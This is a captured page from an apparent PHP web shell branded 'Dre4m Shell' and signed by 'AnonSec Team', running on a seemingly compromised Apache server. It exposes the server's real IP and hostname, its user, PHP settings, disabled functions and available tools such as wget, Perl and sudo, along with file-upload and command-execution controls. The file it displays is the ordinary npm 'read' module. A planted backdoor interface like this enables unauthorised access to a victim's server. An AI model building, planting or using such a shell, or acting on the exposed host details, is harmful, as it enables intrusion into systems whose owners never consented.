Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.147.89.16
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/node_modules/npm/node_modules/read/dist/esm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/node_modules/npm/node_modules/read/dist/esm/read.js
import Mute from 'mute-stream';
import { createInterface } from 'readline';
export async function read({ default: def, input = process.stdin, output = process.stdout, completer, prompt = '', silent, timeout, edit, terminal, replace, }) {
    if (typeof def !== 'undefined' &&
        typeof def !== 'string' &&
        typeof def !== 'number') {
        throw new Error('default value must be string or number');
    }
    let editDef = false;
    const defString = def?.toString();
    prompt = prompt.trim() + ' ';
    terminal = !!(terminal || output.isTTY);
    if (defString) {
        if (silent) {
            prompt += '(<default hidden>) ';
            // TODO: add tests for edit
            /* c8 ignore start */
        }
        else if (edit) {
            editDef = true;
            /* c8 ignore stop */
        }
        else {
            prompt += '(' + defString + ') ';
        }
    }
    const m = new Mute({ replace, prompt });
    m.pipe(output, { end: false });
    output = m;
    return new Promise((resolve, reject) => {
        const rl = createInterface({ input, output, terminal, completer });
        // TODO: add tests for timeout
        /* c8 ignore start */
        const timer = timeout && setTimeout(() => onError(new Error('timed out')), timeout);
        /* c8 ignore stop */
        m.unmute();
        rl.setPrompt(prompt);
        rl.prompt();
        if (silent) {
            m.mute();
            // TODO: add tests for edit + default
            /* c8 ignore start */
        }
        else if (editDef && defString) {
            const rlEdit = rl;
            rlEdit.line = defString;
            rlEdit.cursor = defString.length;
            rlEdit._refreshLine();
        }
        /* c8 ignore stop */
        const done = () => {
            rl.close();
            clearTimeout(timer);
            m.mute();
            m.end();
        };
        // TODO: add tests for rejecting
        /* c8 ignore start */
        const onError = (er) => {
            done();
            reject(er);
        };
        /* c8 ignore stop */
        rl.on('error', onError);
        rl.on('line', line => {
            // TODO: add tests for silent
            /* c8 ignore start */
            if (silent && terminal) {
                m.unmute();
            }
            /* c8 ignore stop */
            done();
            // TODO: add tests for default
            /* c8 ignore start */
            // truncate the \n at the end.
            return resolve(line.replace(/\r?\n?$/, '') || defString || '');
            /* c8 ignore stop */
        });
        // TODO: add tests for sigint
        /* c8 ignore start */
        rl.on('SIGINT', () => {
            rl.close();
            onError(new Error('canceled'));
        });
        /* c8 ignore stop */
    });
}
//# sourceMappingURL=read.js.map

Anon7 - 2022
AnonSec Team